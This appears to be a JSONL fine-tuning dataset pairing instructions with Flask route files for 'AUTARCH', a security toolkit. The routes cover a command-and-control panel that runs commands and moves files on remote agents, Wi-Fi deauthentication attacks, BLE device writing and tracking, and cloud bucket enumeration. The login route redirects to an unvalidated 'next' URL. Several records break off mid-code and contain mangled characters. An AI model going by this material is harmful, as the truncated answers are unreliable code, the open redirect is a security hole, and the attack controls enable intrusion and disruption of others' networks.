package.\"\"\"\n from core.hardware import get_hardware_manager\n mgr = get_hardware_manag
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Auth Routes' feature. It should have a blueprint with url_prefix='/auth_routes', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 4 route handlers.", "input": "Feature: Auth Routes\nBlueprint: auth_bp\nPrefix: None\nRoutes: 4", "output": "\"\"\"Auth routes - login, logout, password change\"\"\"\n\nfrom flask import Blueprint, render_template, request, redirect, url_for, session, flash, jsonify\nfrom web.auth import check_password, hash_password, load_credentials, save_credentials\n\nauth_bp = Blueprint('auth', __name__)\n\n\n@auth_bp.route('/login', methods=['GET', 'POST'])\ndef login():\n if 'user' in session:\n return redirect(url_for('dashboard.index'))\n\n if request.method == 'POST':\n username = request.form.get('username', '')\n password = request.form.get('password', '')\n creds = load_credentials()\n\n if username == creds['username'] and check_password(password, creds['password']):\n session['user'] = username\n if creds.get('force_change'):\n flash('Please change the default password.', 'warning')\n return redirect(url_for('settings.index'))\n next_url = request.args.get('next', url_for('dashboard.index'))\n return redirect(next_url)\n else:\n flash('Invalid credentials.', 'error')\n\n return render_template('login.html')\n\n\n@auth_bp.route('/api/login', methods=['POST'])\ndef api_login():\n \"\"\"JSON login endpoint for the companion app.\"\"\"\n data = request.get_json(silent=True) or {}\n username = data.get('username', '')\n password = data.get('password', '')\n\n if not username or not password:\n return jsonify({'ok': False, 'error': 'Missing username or password'}), 400\n\n creds = load_credentials()\n if username == creds['username'] and check_password(password, creds['password']):\n session['user'] = username\n return jsonify({'ok': True, 'user': username})\n else:\n return jsonify({'ok': False, 'error': 'Invalid credentials'}), 401\n\n\n@auth_bp.route('/api/check', methods=['GET'])\ndef api_check():\n \"\"\"Check if the current session is authenticated.\"\"\"\n if 'user' in session:\n return jsonify({'ok': True, 'user': session['user']})\n return jsonify({'ok': False}), 401\n\n\n@auth_bp.route('/logout')\ndef logout():\n session.clear()\n return redirect(url_for('auth.login'))\n", "type": "route_creation", "source_file": "web/routes/auth_routes.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Autonomy' feature. It should have a blueprint with url_prefix='/autonomy', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 16 route handlers.", "input": "Feature: Autonomy\nBlueprint: autonomy_bp\nPrefix: /autonomy\nRoutes: 16", "output": "\"\"\"Autonomy routes — daemon control, model management, rules CRUD, activity log.\"\"\"\n\nimport json\nfrom flask import Blueprint, render_template, request, jsonify, Response, stream_with_context\nfrom web.auth import login_required\n\nautonomy_bp = Blueprint('autonomy', __name__, url_prefix='/autonomy')\n\n\ndef _get_daemon():\n from core.autonomy import get_autonomy_daemon\n return get_autonomy_daemon()\n\n\ndef _get_router():\n from core.model_router import get_model_router\n return get_model_router()\n\n\n# ==================== PAGES ====================\n\n@autonomy_bp.route('/')\n@login_required\ndef index():\n return render_template('autonomy.html')\n\n\n# ==================== DAEMON CONTROL ====================\n\n@autonomy_bp.route('/status')\n@login_required\ndef status():\n daemon = _get_daemon()\n router = _get_router()\n return jsonify({\n 'daemon': daemon.status,\n 'models': router.status,\n })\n\n\n@autonomy_bp.route('/start', methods=['POST'])\n@login_required\ndef start():\n daemon = _get_daemon()\n ok = daemon.start()\n return jsonify({'success': ok, 'status': daemon.status})\n\n\n@autonomy_bp.route('/stop', methods=['POST'])\n@login_required\ndef stop():\n daemon = _get_daemon()\n daemon.stop()\n return jsonify({'success': True, 'status': daemon.status})\n\n\n@autonomy_bp.route('/pause', methods=['POST'])\n@login_required\ndef pause():\n daemon = _get_daemon()\n daemon.pause()\n return jsonify({'success': True, 'status': daemon.status})\n\n\n@autonomy_bp.route('/resume', methods=['POST'])\n@login_required\ndef resume():\n daemon = _get_daemon()\n daemon.resume()\n return jsonify({'success': True, 'status': daemon.status})\n\n\n# ==================== MODELS ====================\n\n@autonomy_bp.route('/models')\n@login_required\ndef models():\n return jsonify(_get_router().status)\n\n\n@autonomy_bp.route('/models/load/<tier>', methods=['POST'])\n@login_required\ndef models_load(tier):\n from core.model_router import ModelTier\n try:\n mt = ModelTier(tier)\n except ValueError:\n return jsonify({'error': f'Invalid tier: {tier}'}), 400\n ok = _get_router().load_tier(mt, verbose=True)\n return jsonify({'success': ok, 'models': _get_router().status})\n\n\n@autonomy_bp.route('/models/unload/<tier>', methods=['POST'])\n@login_required\ndef models_unload(tier):\n from core.model_router import ModelTier\n try:\n mt = ModelTier(tier)\n except ValueError:\n return jsonify({'error': f'Invalid tier: {tier}'}), 400\n _get_router().unload_tier(mt)\n return jsonify({'success': True, 'models': _get_router().status})\n\n\n# ==================== RULES ====================\n\n@autonomy_bp.route('/rules')\n@login_required\ndef rules_list():\n daemon = _get_daemon()\n rules = daemon.rules_engine.get_all_rules()\n return jsonify({'rules': [r.to_dict() for r in rules]})\n\n\n@autonomy_bp.route('/rules', methods=['POST'])\n@login_required\ndef rules_create():\n from core.rules import Rule\n data = request.get_json(silent=True) or {}\n rule = Rule.from_dict(data)\n daemon = _get_daemon()\n daemon.rules_engine.add_rule(rule)\n return jsonify({'success': True, 'rule': rule.to_dict()})\n\n\n@autonomy_bp.route('/rules/<rule_id>', methods=['PUT'])\n@login_required\ndef rules_update(rule_id):\n data = request.get_json(silent=True) or {}\n daemon = _get_daemon()\n rule = daemon.rules_engine.update_rule(rule_id, data)\n if rule:\n return jsonify({'success': True, 'rule': rule.to_dict()})\n return jsonify({'error': 'Rule not found'}), 404\n\n\n@autonomy_bp.route('/rules/<rule_id>', methods=['DELETE'])\n@login
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Ble Scanner' feature. It should have a blueprint with url_prefix='/ble', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 12 route handlers.", "input": "Feature: Ble Scanner\nBlueprint: ble_scanner_bp\nPrefix: /ble\nRoutes: 12", "output": "\"\"\"BLE Scanner routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\nble_scanner_bp = Blueprint('ble_scanner', __name__, url_prefix='/ble')\n\ndef _get_scanner():\n from modules.ble_scanner import get_ble_scanner\n return get_ble_scanner()\n\n@ble_scanner_bp.route('/')\n@login_required\ndef index():\n return render_template('ble_scanner.html')\n\n@ble_scanner_bp.route('/status')\n@login_required\ndef status():\n return jsonify(_get_scanner().get_status())\n\n@ble_scanner_bp.route('/scan', methods=['POST'])\n@login_required\ndef scan():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_scanner().scan(data.get('duration', 10.0)))\n\n@ble_scanner_bp.route('/devices')\n@login_required\ndef devices():\n return jsonify(_get_scanner().get_devices())\n\n@ble_scanner_bp.route('/device/<address>')\n@login_required\ndef device_detail(address):\n return jsonify(_get_scanner().get_device_detail(address))\n\n@ble_scanner_bp.route('/read', methods=['POST'])\n@login_required\ndef read_char():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_scanner().read_characteristic(data.get('address', ''), data.get('uuid', '')))\n\n@ble_scanner_bp.route('/write', methods=['POST'])\n@login_required\ndef write_char():\n data = request.get_json(silent=True) or {}\n value = bytes.fromhex(data.get('data_hex', '')) if data.get('data_hex') else data.get('data', '').encode()\n return jsonify(_get_scanner().write_characteristic(data.get('address', ''), data.get('uuid', ''), value))\n\n@ble_scanner_bp.route('/vulnscan', methods=['POST'])\n@login_required\ndef vuln_scan():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_scanner().vuln_scan(data.get('address')))\n\n@ble_scanner_bp.route('/track', methods=['POST'])\n@login_required\ndef track():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_scanner().track_device(data.get('address', '')))\n\n@ble_scanner_bp.route('/track/<address>/history')\n@login_required\ndef tracking_history(address):\n return jsonify(_get_scanner().get_tracking_history(address))\n\n@ble_scanner_bp.route('/scan/save', methods=['POST'])\n@login_required\ndef save_scan():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_scanner().save_scan(data.get('name')))\n\n@ble_scanner_bp.route('/scans')\n@login_required\ndef list_scans():\n return jsonify(_get_scanner().list_scans())\n", "type": "route_creation", "source_file": "web/routes/ble_scanner.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'C2 Framework' feature. It should have a blueprint with url_prefix='/c2_framework', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 13 route handlers.", "input": "Feature: C2 Framework\nBlueprint: c2_framework_bp\nPrefix: None\nRoutes: 13", "output": "\"\"\"C2 Framework — web routes for command & control.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify, Response\nfrom web.auth import login_required\n\nc2_framework_bp = Blueprint('c2_framework', __name__)\n\n\ndef _svc():\n from modules.c2_framework import get_c2_server\n return get_c2_server()\n\n\n@c2_framework_bp.route('/c2/')\n@login_required\ndef index():\n return render_template('c2_framework.html')\n\n\n# ── Listeners ─────────────────────────────────────────────────────────────────\n\n@c2_framework_bp.route('/c2/listeners', methods=['GET'])\n@login_required\ndef list_listeners():\n return jsonify({'ok': True, 'listeners': _svc().list_listeners()})\n\n\n@c2_framework_bp.route('/c2/listeners', methods=['POST'])\n@login_required\ndef start_listener():\n data = request.get_json(silent=True) or {}\n return jsonify(_svc().start_listener(\n name=data.get('name', 'default'),\n host=data.get('host', '0.0.0.0'),\n port=data.get('port', 4444),\n ))\n\n\n@c2_framework_bp.route('/c2/listeners/<name>', methods=['DELETE'])\n@login_required\ndef stop_listener(name):\n return jsonify(_svc().stop_listener(name))\n\n\n# ── Agents ────────────────────────────────────────────────────────────────────\n\n@c2_framework_bp.route('/c2/agents', methods=['GET'])\n@login_required\ndef list_agents():\n return jsonify({'ok': True, 'agents': _svc().list_agents()})\n\n\n@c2_framework_bp.route('/c2/agents/<agent_id>', methods=['DELETE'])\n@login_required\ndef remove_agent(agent_id):\n return jsonify(_svc().remove_agent(agent_id))\n\n\n# ── Tasks ─────────────────────────────────────────────────────────────────────\n\n@c2_framework_bp.route('/c2/agents/<agent_id>/exec', methods=['POST'])\n@login_required\ndef exec_command(agent_id):\n data = request.get_json(silent=True) or {}\n command = data.get('command', '')\n if not command:\n return jsonify({'ok': False, 'error': 'No command'})\n return jsonify(_svc().execute_command(agent_id, command))\n\n\n@c2_framework_bp.route('/c2/agents/<agent_id>/download', methods=['POST'])\n@login_required\ndef download_file(agent_id):\n data = request.get_json(silent=True) or {}\n path = data.get('path', '')\n if not path:\n return jsonify({'ok': False, 'error': 'No path'})\n return jsonify(_svc().download_file(agent_id, path))\n\n\n@c2_framework_bp.route('/c2/agents/<agent_id>/upload', methods=['POST'])\n@login_required\ndef upload_file(agent_id):\n f = request.files.get('file')\n data = request.form\n path = data.get('path', '')\n if not f or not path:\n return jsonify({'ok': False, 'error': 'File and path required'})\n return jsonify(_svc().upload_file(agent_id, path, f.read()))\n\n\n@c2_framework_bp.route('/c2/tasks/<task_id>', methods=['GET'])\n@login_required\ndef task_result(task_id):\n return jsonify(_svc().get_task_result(task_id))\n\n\n@c2_framework_bp.route('/c2/tasks', methods=['GET'])\n@login_required\ndef list_tasks():\n agent_id = request.args.get('agent_id', '')\n return jsonify({'ok': True, 'tasks': _svc().list_tasks(agent_id)})\n\n\n# ── Agent Generation ─────────────────────────────────────────────<E29480><E29480>
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Chat' feature. It should have a blueprint with url_prefix='/api', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 6 route handlers.", "input": "Feature: Chat\nBlueprint: chat_bp\nPrefix: /api\nRoutes: 6", "output": "\"\"\"Chat and Agent API routes — Hal chat with Agent system for module creation.\"\"\"\n\nimport json\nimport threading\nimport time\nimport uuid\nfrom pathlib import Path\nfrom flask import Blueprint, request, jsonify, Response\nfrom web.auth import login_required\n\nchat_bp = Blueprint('chat', __name__, url_prefix='/api')\n\n_agent_runs: dict = {} # run_id -> {'steps': [], 'done': bool, 'stop': threading.Event}\n_system_prompt = None\n\n\ndef _get_system_prompt():\n \"\"\"Load the Hal system prompt from data/hal_system_prompt.txt.\"\"\"\n global _system_prompt\n if _system_prompt is None:\n prompt_path = Path(__file__).parent.parent.parent / 'data' / 'hal_system_prompt.txt'\n if prompt_path.exists():\n _system_prompt = prompt_path.read_text(encoding='utf-8')\n else:\n _system_prompt = (\n \"You are Hal, the AI agent for AUTARCH. You can create new modules, \"\n \"run shell commands, read and write files. When asked to create a module, \"\n \"use the create_module tool.\"\n )\n return _system_prompt\n\n\ndef _ensure_model_loaded():\n \"\"\"Load the LLM model if not already loaded. Returns (llm, error).\"\"\"\n from core.llm import get_llm, LLMError\n llm = get_llm()\n if not llm.is_loaded:\n try:\n llm.load_model(verbose=False)\n except LLMError as e:\n return None, str(e)\n return llm, None\n\n\n@chat_bp.route('/chat', methods=['POST'])\n@login_required\ndef chat():\n \"\"\"Handle chat messages — direct chat or agent mode based on user toggle.\n Streams response via SSE.\"\"\"\n data = request.get_json(silent=True) or {}\n message = data.get('message', '').strip()\n mode = data.get('mode', 'chat') # 'chat' (default) or 'agent'\n if not message:\n return jsonify({'error': 'No message provided'})\n\n if mode == 'agent':\n return _handle_agent_chat(message)\n else:\n return _handle_direct_chat(message)\n\n\ndef _handle_direct_chat(message):\n \"\"\"Direct chat mode — streams tokens from the LLM without the Agent system.\"\"\"\n def generate():\n from core.llm import get_llm, LLMError\n\n llm = get_llm()\n if not llm.is_loaded:\n yield f\"data: {json.dumps({'type': 'status', 'content': 'Loading model...'})}\\n\\n\"\n try:\n llm.load_model(verbose=False)\n except LLMError as e:\n yield f\"data: {json.dumps({'type': 'error', 'content': f'Failed to load model: {e}'})}\\n\\n\"\n yield f\"data: {json.dumps({'done': True})}\\n\\n\"\n return\n\n system_prompt = _get_system_prompt()\n try:\n token_gen = llm.chat(message, system_prompt=system_prompt, stream=True)\n for token in token_gen:\n yield f\"data: {json.dumps({'token': token})}\\n\\n\"\n except LLMError as e:\n yield f\"data: {json.dumps({'type': 'error', 'content': str(e)})}\\n\\n\"\n\n yield f\"data: {json.dumps({'done': True})}\\n\\n\"\n\n return Response(generate(), mimetype='text/event-stream',\n headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})\n\n\ndef _handle_agent_chat(message):\n \"\"\"Agent mode — uses the Agent system with tools for complex tasks.\"\"\"\n run_id = str(uuid.uuid4())\n stop_event = threading.Event()\n steps = []\n _agent_runs[run_id] = {'steps': steps, 'done': False, 'stop': stop_event}\n\n def worker():\n try:\n from core.agent import Agent\n from core.tools import get_tool_registry\n from core.llm import get_llm, LLMError\n\n
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Cloud Scan' feature. It should have a blueprint with url_prefix='/cloud', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 8 route handlers.", "input": "Feature: Cloud Scan\nBlueprint: cloud_scan_bp\nPrefix: /cloud\nRoutes: 8", "output": "\"\"\"Cloud Security Scanner routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\ncloud_scan_bp = Blueprint('cloud_scan', __name__, url_prefix='/cloud')\n\ndef _get_scanner():\n from modules.cloud_scan import get_cloud_scanner\n return get_cloud_scanner()\n\n@cloud_scan_bp.route('/')\n@login_required\ndef index():\n return render_template('cloud_scan.html')\n\n@cloud_scan_bp.route('/s3/enum', methods=['POST'])\n@login_required\ndef s3_enum():\n data = request.get_json(silent=True) or {}\n job_id = _get_scanner().enum_s3_buckets(\n data.get('keyword', ''), data.get('prefixes'), data.get('suffixes')\n )\n return jsonify({'ok': bool(job_id), 'job_id': job_id})\n\n@cloud_scan_bp.route('/gcs/enum', methods=['POST'])\n@login_required\ndef gcs_enum():\n data = request.get_json(silent=True) or {}\n job_id = _get_scanner().enum_gcs_buckets(data.get('keyword', ''))\n return jsonify({'ok': bool(job_id), 'job_id': job_id})\n\n@cloud_scan_bp.route('/azure/enum', methods=['POST'])\n@login_required\ndef azure_enum():\n data = request.get_json(silent=True) or {}\n job_id = _get_scanner().enum_azure_blobs(data.get('keyword', ''))\n return jsonify({'ok': bool(job_id), 'job_id': job_id})\n\n@cloud_scan_bp.route('/services', methods=['POST'])\n@login_required\ndef exposed_services():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_scanner().scan_exposed_services(data.get('target', '')))\n\n@cloud_scan_bp.route('/metadata')\n@login_required\ndef metadata():\n return jsonify(_get_scanner().check_metadata_access())\n\n@cloud_scan_bp.route('/subdomains', methods=['POST'])\n@login_required\ndef subdomains():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_scanner().enum_cloud_subdomains(data.get('domain', '')))\n\n@cloud_scan_bp.route('/job/<job_id>')\n@login_required\ndef job_status(job_id):\n job = _get_scanner().get_job(job_id)\n return jsonify(job or {'error': 'Job not found'})\n", "type": "route_creation", "source_file": "web/routes/cloud_scan.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Container Sec' feature. It should have a blueprint with url_prefix='/container-sec', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 16 route handlers.", "input": "Feature: Container Sec\nBlueprint: container_sec_bp\nPrefix: /container-sec\nRoutes: 16", "output": "\"\"\"Container Security routes.\"\"\"\n\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\ncontainer_sec_bp = Blueprint('container_sec', __name__, url_prefix='/container-sec')\n\n\ndef _get_cs():\n from modules.container_sec import get_container_sec\n return get_container_sec()\n\n\n# ── Pages ────────────────────────────────────────────────────────────────────\n\n@container_sec_bp.route('/')\n@login_required\ndef index():\n return render_template('container_sec.html')\n\n\n# ── Status ───────────────────────────────────────────────────────────────────\n\n@container_sec_bp.route('/status')\n@login_required\ndef status():\n \"\"\"Check Docker and kubectl availability.\"\"\"\n cs = _get_cs()\n return jsonify({\n 'docker': cs.check_docker_installed(),\n 'kubectl': cs.check_kubectl_installed(),\n })\n\n\n# ── Docker: Host Audit ──────────────────────────────────────────────────────\n\n@container_sec_bp.route('/docker/audit', methods=['POST'])\n@login_required\ndef docker_audit():\n \"\"\"Audit Docker host configuration.\"\"\"\n findings = _get_cs().audit_docker_host()\n return jsonify({'findings': findings, 'total': len(findings)})\n\n\n# ── Docker: Containers ──────────────────────────────────────────────────────\n\n@container_sec_bp.route('/docker/containers')\n@login_required\ndef docker_containers():\n \"\"\"List Docker containers.\"\"\"\n containers = _get_cs().list_containers(all=True)\n return jsonify({'containers': containers, 'total': len(containers)})\n\n\n@container_sec_bp.route('/docker/containers/<container_id>/audit', methods=['POST'])\n@login_required\ndef docker_container_audit(container_id):\n \"\"\"Audit a specific container.\"\"\"\n result = _get_cs().audit_container(container_id)\n return jsonify(result)\n\n\n@container_sec_bp.route('/docker/containers/<container_id>/escape', methods=['POST'])\n@login_required\ndef docker_container_escape(container_id):\n \"\"\"Check container escape vectors.\"\"\"\n result = _get_cs().check_escape_vectors(container_id)\n return jsonify(result)\n\n\n# ── Docker: Images ───────────────────────────────────────────────────────────\n\n@container_sec_bp.route('/docker/images')\n@login_required\ndef docker_images():\n \"\"\"List local Docker images.\"\"\"\n images = _get_cs().list_images()\n return jsonify({'images': images, 'total': len(images)})\n\n\n@container_sec_bp.route('/docker/images/scan', methods=['POST'])\n@login_required\ndef docker_image_scan():\n \"\"\"Scan a Docker image for vulnerabilities.\"\"\"\n data = request.get_json(silent=True) or {}\n image_name = data.get('image_name', '').strip()\n if not image_name:\n return jsonify({'error': 'No image name provided'}), 400\n result = _get_cs().scan_image(image_name)\n return jsonify(result)\n\n\n# ── Dockerfile Lint ───────────────────────────────────────────────────────<E29480><E29480>
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Counter' feature. It should have a blueprint with url_prefix='/counter', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 4 route handlers.", "input": "Feature: Counter\nBlueprint: counter_bp\nPrefix: /counter\nRoutes: 4", "output": "\"\"\"Counter-intelligence category route - threat detection and login analysis endpoints.\"\"\"\n\nfrom flask import Blueprint, render_template, request, jsonify\nfrom web.auth import login_required\n\ncounter_bp = Blueprint('counter', __name__, url_prefix='/counter')\n\n\n@counter_bp.route('/')\n@login_required\ndef index():\n from core.menu import MainMenu\n menu = MainMenu()\n menu.load_modules()\n modules = {k: v for k, v in menu.modules.items() if v.category == 'counter'}\n return render_template('counter.html', modules=modules)\n\n\n@counter_bp.route('/scan', methods=['POST'])\n@login_required\ndef scan():\n \"\"\"Run full threat scan.\"\"\"\n from modules.counter import Counter as CounterModule\n c = CounterModule()\n c.check_suspicious_processes()\n c.check_network_connections()\n c.check_login_anomalies()\n c.check_file_integrity()\n c.check_scheduled_tasks()\n c.check_rootkits()\n\n high = sum(1 for t in c.threats if t['severity'] == 'high')\n medium = sum(1 for t in c.threats if t['severity'] == 'medium')\n low = sum(1 for t in c.threats if t['severity'] == 'low')\n\n return jsonify({\n 'threats': c.threats,\n 'summary': f'{len(c.threats)} threats found ({high} high, {medium} medium, {low} low)',\n })\n\n\n@counter_bp.route('/check/<check_name>', methods=['POST'])\n@login_required\ndef check(check_name):\n \"\"\"Run individual threat check.\"\"\"\n from modules.counter import Counter as CounterModule\n c = CounterModule()\n\n checks_map = {\n 'processes': c.check_suspicious_processes,\n 'network': c.check_network_connections,\n 'logins': c.check_login_anomalies,\n 'integrity': c.check_file_integrity,\n 'tasks': c.check_scheduled_tasks,\n 'rootkits': c.check_rootkits,\n }\n\n func = checks_map.get(check_name)\n if not func:\n return jsonify({'error': f'Unknown check: {check_name}'}), 400\n\n func()\n\n if not c.threats:\n return jsonify({'threats': [], 'message': 'No threats found'})\n return jsonify({'threats': c.threats})\n\n\n@counter_bp.route('/logins')\n@login_required\ndef logins():\n \"\"\"Login anomaly analysis with GeoIP enrichment.\"\"\"\n from modules.counter import Counter as CounterModule\n c = CounterModule()\n attempts = c.parse_auth_logs()\n\n if not attempts:\n return jsonify({'attempts': [], 'error': 'No failed login attempts found or could not read logs'})\n\n # Enrich top 15 IPs with GeoIP\n sorted_ips = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:15]\n c.enrich_login_attempts({a.ip: a for a in sorted_ips}, show_progress=False)\n\n result = []\n for attempt in sorted_ips:\n result.append({\n 'ip': attempt.ip,\n 'count': attempt.count,\n 'usernames': attempt.usernames[:10],\n 'country': attempt.country or '',\n 'city': attempt.city or '',\n 'isp': attempt.isp or '',\n 'hostname': attempt.hostname or '',\n })\n\n return jsonify({'attempts': result})\n", "type": "route_creation", "source_file": "web/routes/counter.py"}
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Dashboard' feature. It should have a blueprint with url_prefix='/dashboard', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 4 route handlers.", "input": "Feature: Dashboard\nBlueprint: dashboard_bp\nPrefix: None\nRoutes: 4", "output": "\"\"\"Dashboard route - main landing page\"\"\"\n\nimport platform\nimport shutil\nimport socket\nimport time\nfrom datetime import datetime\nfrom pathlib import Path\nfrom flask import Blueprint, render_template, current_app, jsonify\nfrom markupsafe import Markup\nfrom web.auth import login_required\n\ndashboard_bp = Blueprint('dashboard', __name__)\n\n\ndef get_system_info():\n info = {\n 'hostname': socket.gethostname(),\n 'platform': platform.platform(),\n 'python': platform.python_version(),\n 'arch': platform.machine(),\n }\n try:\n info['ip'] = socket.gethostbyname(socket.gethostname())\n except Exception:\n info['ip'] = '127.0.0.1'\n\n # Uptime\n try:\n with open('/proc/uptime') as f:\n uptime_secs = float(f.read().split()[0])\n days = int(uptime_secs // 86400)\n hours = int((uptime_secs % 86400) // 3600)\n info['uptime'] = f\"{days}d {hours}h\"\n except Exception:\n info['uptime'] = 'N/A'\n\n return info\n\n\ndef get_tool_status():\n from core.paths import find_tool\n tools = {}\n for tool in ['nmap', 'tshark', 'upnpc', 'msfrpcd', 'wg']:\n tools[tool] = find_tool(tool) is not None\n return tools\n\n\ndef get_module_counts():\n from core.menu import MainMenu\n menu = MainMenu()\n menu.load_modules()\n counts = {}\n for name, info in menu.modules.items():\n cat = info.category\n counts[cat] = counts.get(cat, 0) + 1\n counts['total'] = len(menu.modules)\n return counts\n\n\n@dashboard_bp.route('/')\n@login_required\ndef index():\n config = current_app.autarch_config\n system = get_system_info()\n tools = get_tool_status()\n modules = get_module_counts()\n\n # LLM status\n llm_backend = config.get('autarch', 'llm_backend', fallback='local')\n if llm_backend == 'transformers':\n llm_model = config.get('transformers', 'model_path', fallback='')\n elif llm_backend == 'claude':\n llm_model = config.get('claude', 'model', fallback='')\n elif llm_backend == 'huggingface':\n llm_model = config.get('huggingface', 'model', fallback='')\n else:\n llm_model = config.get('llama', 'model_path', fallback='')\n\n # UPnP status\n upnp_enabled = config.get_bool('upnp', 'enabled', fallback=False)\n\n return render_template('dashboard.html',\n system=system,\n tools=tools,\n modules=modules,\n llm_backend=llm_backend,\n llm_model=llm_model,\n upnp_enabled=upnp_enabled,\n )\n\n\n@dashboard_bp.route('/manual')\n@login_required\ndef manual():\n \"\"\"Render the user manual as HTML.\"\"\"\n manual_path = Path(__file__).parent.parent.parent / 'user_manual.md'\n content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Manual not found'\n try:\n import markdown\n html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc'])\n except ImportError:\n html = '<pre>' + content.replace('<', '<') + '</pre>'\n return render_template('manual.html', manual_html=Markup(html))\n\n\n@dashboard_bp.route('/manual/windows')\n@login_required\ndef manual_windows():\n \"\"\"Render the Windows-specific user manual.\"\"\"\n manual_path = Path(__file__).parent.parent.parent / 'windows_manual.md'\n content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Windows manual not found'\n try:\n import markdown\n html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc'])\n except ImportError:\n html = '<pre>' + content.replace('<', '<') + '</pre>'\n return render_template('manual.html', manua
|
|||
|
|
{"instruction": "Create a Flask blueprint route file for AUTARCH's 'Deauth' feature. It should have a blueprint with url_prefix='/deauth', use @login_required on all routes, and follow AUTARCH web route conventions. It needs 14 route handlers.", "input": "Feature: Deauth\nBlueprint: deauth_bp\nPrefix: /deauth\nRoutes: 14", "output": "\"\"\"Deauth Attack routes.\"\"\"\nfrom flask import Blueprint, request, jsonify, render_template\nfrom web.auth import login_required\n\ndeauth_bp = Blueprint('deauth', __name__, url_prefix='/deauth')\n\n\ndef _get_deauth():\n from modules.deauth import get_deauth\n return get_deauth()\n\n\n@deauth_bp.route('/')\n@login_required\ndef index():\n return render_template('deauth.html')\n\n\n@deauth_bp.route('/interfaces')\n@login_required\ndef interfaces():\n return jsonify({'interfaces': _get_deauth().get_interfaces()})\n\n\n@deauth_bp.route('/monitor/start', methods=['POST'])\n@login_required\ndef monitor_start():\n data = request.get_json(silent=True) or {}\n interface = data.get('interface', '').strip()\n return jsonify(_get_deauth().enable_monitor(interface))\n\n\n@deauth_bp.route('/monitor/stop', methods=['POST'])\n@login_required\ndef monitor_stop():\n data = request.get_json(silent=True) or {}\n interface = data.get('interface', '').strip()\n return jsonify(_get_deauth().disable_monitor(interface))\n\n\n@deauth_bp.route('/scan/networks', methods=['POST'])\n@login_required\ndef scan_networks():\n data = request.get_json(silent=True) or {}\n interface = data.get('interface', '').strip()\n duration = int(data.get('duration', 10))\n networks = _get_deauth().scan_networks(interface, duration)\n return jsonify({'networks': networks, 'total': len(networks)})\n\n\n@deauth_bp.route('/scan/clients', methods=['POST'])\n@login_required\ndef scan_clients():\n data = request.get_json(silent=True) or {}\n interface = data.get('interface', '').strip()\n target_bssid = data.get('target_bssid', '').strip() or None\n duration = int(data.get('duration', 10))\n clients = _get_deauth().scan_clients(interface, target_bssid, duration)\n return jsonify({'clients': clients, 'total': len(clients)})\n\n\n@deauth_bp.route('/attack/targeted', methods=['POST'])\n@login_required\ndef attack_targeted():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_deauth().deauth_targeted(\n interface=data.get('interface', '').strip(),\n target_bssid=data.get('bssid', '').strip(),\n client_mac=data.get('client', '').strip(),\n count=int(data.get('count', 10)),\n interval=float(data.get('interval', 0.1))\n ))\n\n\n@deauth_bp.route('/attack/broadcast', methods=['POST'])\n@login_required\ndef attack_broadcast():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_deauth().deauth_broadcast(\n interface=data.get('interface', '').strip(),\n target_bssid=data.get('bssid', '').strip(),\n count=int(data.get('count', 10)),\n interval=float(data.get('interval', 0.1))\n ))\n\n\n@deauth_bp.route('/attack/multi', methods=['POST'])\n@login_required\ndef attack_multi():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_deauth().deauth_multi(\n interface=data.get('interface', '').strip(),\n targets=data.get('targets', []),\n count=int(data.get('count', 10)),\n interval=float(data.get('interval', 0.1))\n ))\n\n\n@deauth_bp.route('/attack/continuous/start', methods=['POST'])\n@login_required\ndef attack_continuous_start():\n data = request.get_json(silent=True) or {}\n return jsonify(_get_deauth().start_continuous(\n interface=data.get('interface', '').strip(),\n target_bssid=data.get('bssid', '').strip(),\n client_mac=data.get('client', '').strip() or None,\n interval=float(data.get('interval', 0.5)),\n burst=int(data.get('burst', 5))\n ))\n\n\n@deauth_bp.route('/attack/continuous/stop', methods=['POST'])\n@login_required\ndef attack_continuous_stop():\n return jsonify(_get_d
|
|||
|
|
